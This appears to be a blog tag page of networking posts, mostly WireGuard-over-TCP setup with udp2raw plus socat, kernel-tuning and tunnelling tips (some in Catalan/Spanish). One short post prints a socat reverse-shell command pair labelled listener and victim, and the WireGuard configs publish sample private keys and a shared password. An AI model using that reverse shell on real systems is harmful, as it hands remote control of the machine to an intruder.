Tag: tcp

WireGuard Over TCP Using udp2raw: Securing and Expanding Connectivity – Point-to-Multipoint – CookBook

Reading time: 76 – 126 minutes

Scenario Overview

The architecture for this setup is illustrated below:

Install udp2raw, Wireguard and generate keys

cd /tmp
wget https://github.com/wangyu-/udp2raw/releases/download/20230206.0/udp2raw_binaries.tar.gz
tar xvfz udp2raw_binaries.tar.gz
cp udp2raw_amd64 /usr/local/bin/udp2raw
rm udp2raw*
# based on Ubuntu
apt install wireguard
# we'll work on /etc/wireguard
cd /etc/wireguard
# generate privatekey
wg genkey | sudo tee /etc/wireguard/private.key
sudo chmod go= /etc/wireguard/private.key
# obtain public key
sudo cat /etc/wireguard/private.key | wg pubkey | sudo tee /etc/wireguard/public.key

When eveything is installend and configured, just run in all endpoints next commands:

sudo wg-quick up wg0
# for status check:
wg
# udp2raw logs at:
tail -f /var/log/udp2raw.log
# enable automatic wireward service in Ubuntu
sudo systemctl enable wg-quick@wg0.service
# start and stop service like always
sudo systemctl start wg-quick@wg0.service
sudo systemctl stop wg-quick@wg0.service
sudo systemctl status wg-quick@wg0.service

Configuration Files

Endpoint A /etc/wireguard/wg0

# local settings for Endpoint A
[Interface]
PrivateKey = WMUerfcUpSxUlOp1UmaS2uwelnk8AxhAFrlIWpjheWM=
Address = 192.168.111.1/24
ListenPort = 51822

# receive wg through udp2raw
MTU = 1342
PreUp = udp2raw -s -l 167.99.130.97:55055 -r 127.0.0.1:51822 -k "The2password." -a >/var/log/udp2raw.log 2>&1 &
PostDown = killall udp2raw || true

# Enable NAT for traffic forwarding (corporate and fallback internet access)
PreUp = echo 1 > /proc/sys/net/ipv4/ip_forward || true
PreUp = iptables -t nat -I POSTROUTING -o eth0 -j MASQUERADE || true
PreDown = iptables -t nat -D POSTROUTING -o eth0 -j MASQUERADE || true

# remote settings for Endpoint B
[Peer]
PublicKey = XWl8HeAinHlAZTvaCXDlmO9n/CQLg5qH8jmtROK4jBg=
AllowedIPs = 192.168.111.2/32
PersistentKeepalive = 120

# remote settings for Endpoint C
[Peer]
PublicKey = I+gi8l9QRe00W8pTpp8CSoIabz/RXXQXwquXj7eKNwU=
AllowedIPs = 192.168.111.3/32
PersistentKeepalive = 120

Endpoint B /etc/wireguard/wg0

# Endpoint B
[Interface]
PrivateKey = +BB3NI2SUYeKcRoPrZE2+Ot5KnLZJBycPzJ17kfbn34=
Address = 192.168.111.2/24

# Route configuration for public IP
PreUp = ip route del default || true
PreUp = ip route add 167.99.130.97 via 10.2.0.1 dev eth0 || true
PostDown = ip route del 167.99.130.97 via 10.2.0.1 dev eth0 || true
PostDown = ip route add default via 10.2.0.1 || true

MTU = 1342
PreUp = udp2raw -c -l 127.0.0.1:50001 -r 167.99.130.97:55055 -k "The2password." -a >/var/log/udp2raw.log 2>&1 &
PostDown = killall udp2raw || true

# Endpoint A
[Peer]
PublicKey = z73wM1b7fhMRA8fmeQw4FntRvgJ9JwTdsQHssXHg3DE=
Endpoint = 127.0.0.1:50001
AllowedIPs = 0.0.0.0/0
PersistentKeepalive = 120

Endpoint C /etc/wireguard/wg0

# Endpoint C
[Interface]
PrivateKey = YCGzsfeed8QumpfE8bdWRheMzBiUsTB7vXj0YVOQQX0=
Address = 192.168.111.3/24

# Route configuration for public IP
PreUp = ip route del default || true
PreUp = ip route add 167.99.130.97 via 10.2.0.1 dev eth0 || true
PostDown = ip route del 167.99.130.97 via 10.2.0.1 dev eth0 || true
PostDown = ip route add default via 10.2.0.1 || true

MTU = 1342
PreUp = udp2raw -c -l 127.0.0.1:50001 -r 167.99.130.97:55055 -k "The2password." -a >/var/log/udp2raw.log 2>&1 &
PostDown = killall udp2raw || true

# Endpoint A
[Peer]
PublicKey = z73wM1b7fhMRA8fmeQw4FntRvgJ9JwTdsQHssXHg3DE=
Endpoint = 127.0.0.1:50001
AllowedIPs = 0.0.0.0/0
PersistentKeepalive = 120

WireGuard Over TCP Using udp2raw: Securing and Expanding Connectivity

Reading time: 30 – 50 minutes

In this post, I’ll share how I set up a WireGuard VPN over TCP using udp2raw, which provides secure access to corporate networks and serves as a fallback for internet access when customer networks impose heavy restrictions. Inspired by Pro Custodibus, this solution enables IoT gateways to seamlessly connect to both the company’s internal services and the broader internet under constrained conditions.

Scenario Overview

The architecture for this setup is illustrated below:

Key Features of the Solution:

  1. Access to Corporate Networks: IoT Gateways securely connect to the corporate network for accessing internal services.
  2. Fallback Internet Access: When the customer’s network restricts internet access but allows TCP connections to the company infrastructure, the IoT Gateway routes its internet traffic through the company’s network.

How It Works:

  • Endpoint A (Client): An IoT Gateway connects through the restrictive customer network.
  • Endpoint B (Server): The WireGuard server is accessible via a public IP (134.122.74.29) on TCP port 55055.
  • Traffic flows through a TCP tunnel created with udp2raw, enabling the gateway to securely access the corporate network or relay internet traffic via the company’s infrastructure.

This dual-purpose setup ensures robust connectivity for IoT devices even in challenging environments.

Video Demonstration (in Spanish)

I’ve created a video demonstration in Spanish showcasing the entire setup and functionality of this scenario. The video walks through the following steps:

  1. Explaining the problem and network constraints.
  2. Demonstrating the configuration of both endpoints (client and server).
  3. Showing the connection initiation and testing, including how traffic flows through the VPN tunnel.
  4. Verifying fallback internet access through the company network.

This video is ideal for those who prefer visual explanations or need extra guidance in implementing this solution.

Configuration Files

1. Endpoint B (server, /etc/wireguard/wg0.conf)

This configuration allows Endpoint B to act as a gateway for both corporate access and fallback internet connectivity:

# local settings for Endpoint B
[Interface]
PrivateKey = EMqyADu4Xeu95ZpNZE97FET5eKzN1WSwBkeBWtX1yGg=
Address = 192.168.111.1/32
ListenPort = 51822

# receive wg through udp2raw
MTU = 1342
PreUp = udp2raw -s -l 134.122.74.29:55055 -r 127.0.0.1:51822 -k "The2password." -a >/var/log/udp2raw.log 2>&1 &
PostDown = killall udp2raw || true

# Enable NAT for traffic forwarding (corporate and fallback internet access)
PreUp = echo 1 > /proc/sys/net/ipv4/ip_forward || true
PreUp = iptables -t nat -I POSTROUTING -o eth0 -j MASQUERADE || true
PreDown = iptables -t nat -D POSTROUTING -o eth0 -j MASQUERADE || true

# remote settings for Endpoint A
[Peer]
PublicKey = Xt70DJy8ldPcDNW4YM2Dt94n16pTQKFxhmvpgKvJyng=
AllowedIPs = 192.168.111.2/32
PersistentKeepalive = 120

Key Points:

  • NAT Rules: These rules enable traffic originating from Endpoint A to use Endpoint B for accessing the internet.
  • MTU Adjustment: The MTU is set to 1342 to prevent fragmentation issues over the TCP tunnel.

Assumptions:

  • eth0, is the name of the interface for reaching Internet.
  • 192.168.111.0/24 is available for point-to-point connections in the tunnels.
  • ud2raw is in PATH.
  • Don’t re-use my pub and private keys. Neither the pre-shared key of used by udp2raw.
Endpoint A (client, /etc/wireguard/wg0.conf)

This configuration sets up Endpoint A to route all traffic (corporate and internet) through Endpoint B:

[Interface]
PrivateKey = yAxByb468bAuMdg5S6AlfYkxbeYDOMEKxdaJ7d2p83g=
Address = 192.168.111.2/32

# Route configuration for public IP
PreUp = ip route del default || true
PreUp = ip route add 134.122.74.29 via 10.2.0.1 dev eth0 || true
PostDown = ip route del 134.122.74.29 via 10.2.0.1 dev eth0 || true
PostDown = ip route add default via 10.2.0.1 || true

MTU = 1342
PreUp = udp2raw -c -l 127.0.0.1:50001 -r 134.122.74.29:55055 -k "The2password." -a >/var/log/udp2raw.log 2>&1 &
PostDown = killall udp2raw || true

[Peer]
PublicKey = VUN2JqZiGQ1V46PDoFECw/nMs3/o6n8PvGMV+ad+Hww=
Endpoint = 127.0.0.1:50001
AllowedIPs = 0.0.0.0/0
PersistentKeepalive = 120

Key Points:

  • Fallback Internet Routing: The AllowedIPs = 0.0.0.0/0 directive ensures all traffic is routed through Endpoint B, including internet traffic.
  • Dynamic Route Adjustments: The PreUp and PostDown commands manage routes for efficient fallback connectivity.

Here’s the improved Implementation Steps section based on your feedback and expertise in WireGuard and udp2raw:

Implementation Steps

This section outlines the precise steps required to set up the WireGuard VPN over TCP using udp2raw. Follow these instructions carefully for both Endpoint A (client) and Endpoint B (server).

1. Pre-requisites

  • WireGuard Installation: Ensure WireGuard is installed on both systems. This can usually be done via the package manager of your operating system (e.g., apt install wireguard for Debian-based distributions).
  • udp2raw Binary: Download the appropriate udp2raw binary from its GitHub Releases Page. Binaries are available for various architectures. For simplicity:
    1. Extract the binary from the tarball (e.g., udp2raw_amd64 for most x86_64 systems).
    2. Place the binary in a directory accessible from your PATH (e.g., /usr/local/bin).
    3. Verify the installation: which udp2raw udp2raw -h # Should display the help menu

2. Prepare the Configuration Files

The configuration files should be located at /etc/wireguard/wg0.conf. Each endpoint has its own specific configuration:

  • Endpoint A: Use the wg0.conf provided earlier, replacing placeholders like keys and IPs as needed.
  • Endpoint B: Use the wg0.conf provided earlier.

Ensure both files reflect the IP addresses, MTU settings, and public/private keys accurately.

3. Generate WireGuard Keys

WireGuard requires public-private key pairs for secure communication. Generate them as follows:

  1. Generate the Private Key: wg genkey > privatekey
  2. Generate the Public Key from the private key: cat privatekey | wg pubkey > publickey
  3. Place the private key in the [Interface] section of the respective configuration file (PrivateKey = ...) and the corresponding public key of the peer in the [Peer] section (PublicKey = ...).

Note: Never share your private keys.

4. Start the VPN Tunnel

  1. Start the Server First (Endpoint B):
    • Bring up the WireGuard interface using wg-quick: sudo wg-quick up wg0
    • Verify that the interface is active: wg show
  2. Start the Client (Endpoint A):
    • Bring up the client WireGuard interface: sudo wg-quick up wg0
    • Verify that the interface is active: wg show

5. Test the Connection

Once both endpoints are active, initiate traffic from Endpoint A to Endpoint B. This step ensures the udp2raw TCP socket is properly established and functioning:

  1. Ping Endpoint B’s WireGuard IP: ping 192.168.111.1
    • If the ping succeeds, the connection is working as expected.
    • If it fails, check the logs for udp2raw and WireGuard on both endpoints for errors: less /var/log/udp2raw.log
  2. Once the initial handshake completes, the tunnel will remain active as long as PersistentKeepalive is configured in the client configuration (e.g., PersistentKeepalive = 120).

6. Validate Fallback Internet Access

To confirm the fallback internet routing through Endpoint B:

  1. On Endpoint A, run a test to confirm external connectivity: curl -I https://www.google.com
    • If the response headers are received, the internet routing through Endpoint B is functioning.
    • Verify that the traffic is routed through the WireGuard tunnel: traceroute google.com
  2. If fallback internet access fails, ensure that NAT is correctly configured on Endpoint B: iptables -t nat -L -n

7. Troubleshooting

  • Log Files:
    • Check the udp2raw logs on both endpoints for issues (e.g., MTU mismatches, handshake failures).
    • Review WireGuard logs for additional details.
  • MTU Issues:
    • If large packets fail but small packets (e.g., ping) succeed, reduce the MTU (e.g., to 1280).

8. Automate Startup

To ensure the VPN starts automatically on boot:

  1. Enable the WireGuard service: sudo systemctl enable wg-quick@wg0
  2. Add udp2raw commands to a systemd service or the PreUp directive in wg0.conf (as shown in the configuration files).

With these steps, you now have a fully operational WireGuard tunnel over TCP, enabling secure communication between endpoints and fallback internet connectivity via the company’s infrastructure.

Conclusion

This configuration provides a robust solution for IoT Gateways operating in restrictive environments. By leveraging udp2raw, WireGuard traffic is tunneled over TCP, enabling:

  1. Seamless Corporate Access.
  2. Fallback Internet Connectivity through the company network when customer environments impose constraints.

This versatile setup ensures uninterrupted operations and secure communications for IoT devices. Explore the Pro Custodibus guide and udp2raw GitHub repository for additional insights.

References

socat tip: create virtual serial port and link it to TCP

Reading time: 5 – 8 minutes

Create a virtual serial port and publish it on TCP port:

socat pty,link=/dev/virtualcom0,rawer tcp-listen:2101

In another computer, for instance, another virtual port can be created and connected to the previous one:

socat pty,link=/dev/virtualcom0,rawer tcp:SERVER_IP:2101

If in any of those both sides we want to open a real serial port, for instance, in the server case we can run:

socat /dev/ttyS0,rawer tcp-listen:2101

More information on socat manpage.

socat reminder: reverse shell

Reading time: 3 – 4 minutes
#Listener:
socat file:`tty`,raw,echo=0 tcp-listen:12345

#Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:IP_LISTENER:12345

Enabling linux kernel to open LOTS of concurrent connections

Reading time: 14 – 22 minutes

Just a small recipe about how to enable linux kernel to open tons of concurrent connections. Really simple and useful post entry.

<span style="font-style: italic; color: #656565;">echo “10152 65535″ > /proc/sys/net/ipv4/ip_local_port_range</span><br style="font-style: italic; color: #656565;"><span style="font-style: italic; color: #656565;">sysctl -w fs.file-max=128000</span><br style="font-style: italic; color: #656565;"><span style="font-style: italic; color: #656565;">sysctl -w net.ipv4.tcp_keepalive_time=300</span><br style="font-style: italic; color: #656565;"><span style="font-style: italic; color: #656565;">sysctl -w net.core.somaxconn=250000</span><br style="font-style: italic; color: #656565;"><span style="font-style: italic; color: #656565;">sysctl -w net.ipv4.tcp_max_syn_backlog=2500</span><br style="font-style: italic; color: #656565;"><span style="font-style: italic; color: #656565;">sysctl -w net.core.netdev_max_backlog=2500</span><br style="font-style: italic; color: #656565;"><span style="font-style: italic; color: #656565;">ulimit -n 10240</span>

httptunnel: TCP sobre HTTP

Reading time: 7 – 11 minutes
HTTPtunnel logo

Amb httptunnel es poden establir connexions TCP sobre un enllaç HTTP, és a dir, disposem de dues eines el htc i el hts, escencialment el que fa és:

  • hts: publica un port simulant un servidor HTTP al conectar-hi amb htc ens enviarà cap al HOST:PORT configurats
  • htc: es conecta a hts usant HTTP i simulant un client HTTP normal (ffx, crhome, ie, etc) però en realitat transporta paquets TCP en el payload de les queries, l’usuari pot conectar-se a un port local que es publica i que permet accedir al HOST:PORT al que ha conectat hts de forma transparent

Per fer una prova de concepte jo el que he fet és conectar el hts amb un servidor VNC, al costat del htc he connectat un client VNC i he accedit al VNC de forma totalment transparent, a més amb un sniffer he comprovat que els paquets que passeben per la xarxa eren paquets HTTP estàndards, i així era. Tan senzill com això:

server:
./hts -w -F 127.0.0.1:5900 1080

client:
./htc -F 2300 server:1080
vinagre localhost:2300

A més també suporta la possibilitat de fer-ho a través d’un proxy, això si aquest només esta suportat si és sense autenticació o amb autenticació bàsica. Així doncs, a partir d’això em venen al cap algunes millores interessants:

  • suportar autenticació Digest i NTLM.
  • permetre accés al tunel via stdin/stdout (així ho podriem usar amb SSH com a ProxyCommand).
  • poder connectar-se a un segon proxy en l’extrem remot, és a dir, hts no té l’enllaç pre-establert.
  • suportar SSL, així ens estalbiariem haver d’usar stunnel per simular HTTPs.

UDPTunnel – enviar els paquets UDP per sobre d’enllaços TCP

Reading time: 8 – 12 minutes

Una altre d’aquelles eines que malgrat ser petitones i rares poden servir per fer mil i una coses. Per exemple, connectar a un servidor DNS a través d’un port TCP en una xarxa on el tràfic UDP estigui tancat.

UDPTunnel és una eina molt simple d’usar i la seva sintaxis és molt autoexplicativa:

 udptunnel -s TCP-port [-r] [-v] UDP-addr/UDP-port[/ttl]
 udptunnel -c TCP-addr[/TCP-port] [-r] [-v] UDP-addr/UDP-port[/ttl]

és interessant fixar-se que el mateix executable pot ser usat com a servidor o com a client, així doncs ideal per construir els dos costats de l’enllaç de forma simple.
A més si ho combinem amb httptunnel podem passar per sobre de proxies de forma senzilla.

reDuh: TCP sobre HTTP

Reading time: 1 – 2 minutes

La idea es força simple es tracta de transportar un fluxe TCP sobre d’una connexió HTTP convencional, fiexeu-vos que en aquest cas no estem parlant de proxies ni similars. Sinó de paquets TCP+HTTP que en la part de dades del HTTP tornen a implementar TCP, si fessim un petit esquema seria algo així:

+----+----+------+------+-----+------+
|... | IP | TCP | HTTP | TCP | DATA |
+----+----+------+------+-----+------+

Si realment teniu aquest interés montar reDuh és realment senzill, de fet, suporta servidors amb JSP, PHP i ASP. En escència l’únic que fa és usar aquests protocols per re-obrir una connexió TCP. Així doncs, al servidor on montem aquesta eina hem de tenir certs privilegis per poder obrir sockets des d’un script.
L’eina no és massa recomanable si pensem tenir fluxes de dades molt intensos, per exemple, senssions VNC. Però funciona prou bé si el que volem és transportar una sessió SSH o similar.

podcast 1×13: desafio networking [la solución]

Reading time: < 1 minute A pesar de que la solución se alcanzó y aplico durante los meses de agosto y septiembre, hasta hoy no he podido grabar la solución en este podcast. Espero que haya sabido explicarla bien y que quede claro como se ha hecho para solucionar el problema, sinó preguntad.

TCP bouncer amb failover

Reading time: 2 – 4 minutes

Al projecte GATv2 fa un parell de dies que hi he publicat un subprojecte que anomeno tcp-fwd. Es tracta d’un petit i simple aplicatiu programat amb Python i Twisted. La funcionalitat és molt senzilla es tracta d’un bouncer TCP que en cas de no poder connectar amb el primer destí on re-enviar el tràfic TCP ho prova amb el segon, sinó el tercer i així fins a tants servidors com s’hagin definit. Si no es pot acabar establint la connexió es desconnecta l’enllaç TCP cap al bouncer. O sigui, el comportament és transparent pel client original. Pels que no estigueu familiaritzats amb la funcionalitat d’un bouncer la intentaré explicar. Es tracta d’un socket TCP que escolta en un port i actua com un reverse proxy. O sigui, quan rep una connexió acte seguis s’obre una altre connexió cap al servidor i si aquesta es pot establir llavors connecta la primera connexió amb la segona.

L’inconvenient més gran que veig en aquesta idea és que la connexió que arriba al servidor final no té com a origien la IP del client, sinó la IP del servidor que fa de bouncer això fa que el fitxer de logs del servidor final no tingui la informació IP del client que realment s’ha connectat. Malgrat axiò hi ha escenaris en que aquesta eina és molt útil, ja que no sempre el més important són aquests logs sinó que el client acaba obtenint el servei que volia de forma trasparent i el sistema de failover que uso sempre segueix la mateixa seqüència de prova i error per cada socket que s’obre, així doncs, el sistema de failover és instantani i no perd ni una sola crida.

Una de les aplicacions per les que l’estic usant és per fer l’entrega de correu a un postfix. Es tracta d’un servidor de correu que només fa filtratge de correu i els correus que passen els filtres s’entreguen al servidor de correu real de l’empresa, doncs bé, per saber quin és el servidor de l’empresa uso el fitxer de configuració /etc/postfix/transport on s’indica segons el domini el servidor on entregar el correu. Però no he sabut veure com dir-li més d’un servidor de correu on fer l’entrega. Així doncs, el que faig és posar com a IP i port de transport una IP localhost i un port al atzar, llavors el postfix entrega el correu al bouncer situat en aquesta IP localhost i és el bouncer que intenta connectar aquest socket amb algún dels servidors de correu interns. Per tant, el tema és completament transparent pel postfix i els servidors que reben el correu tenen la mateixa IP origen que si ho haguessin rebut directament del postfix.

Suposo que la idea ha quedat ben definida, sinó ja sabeu que podeu fer-me les preguntes que calguin. El codi del projecte el teniu a: tcp-fwd.

Scroll to Top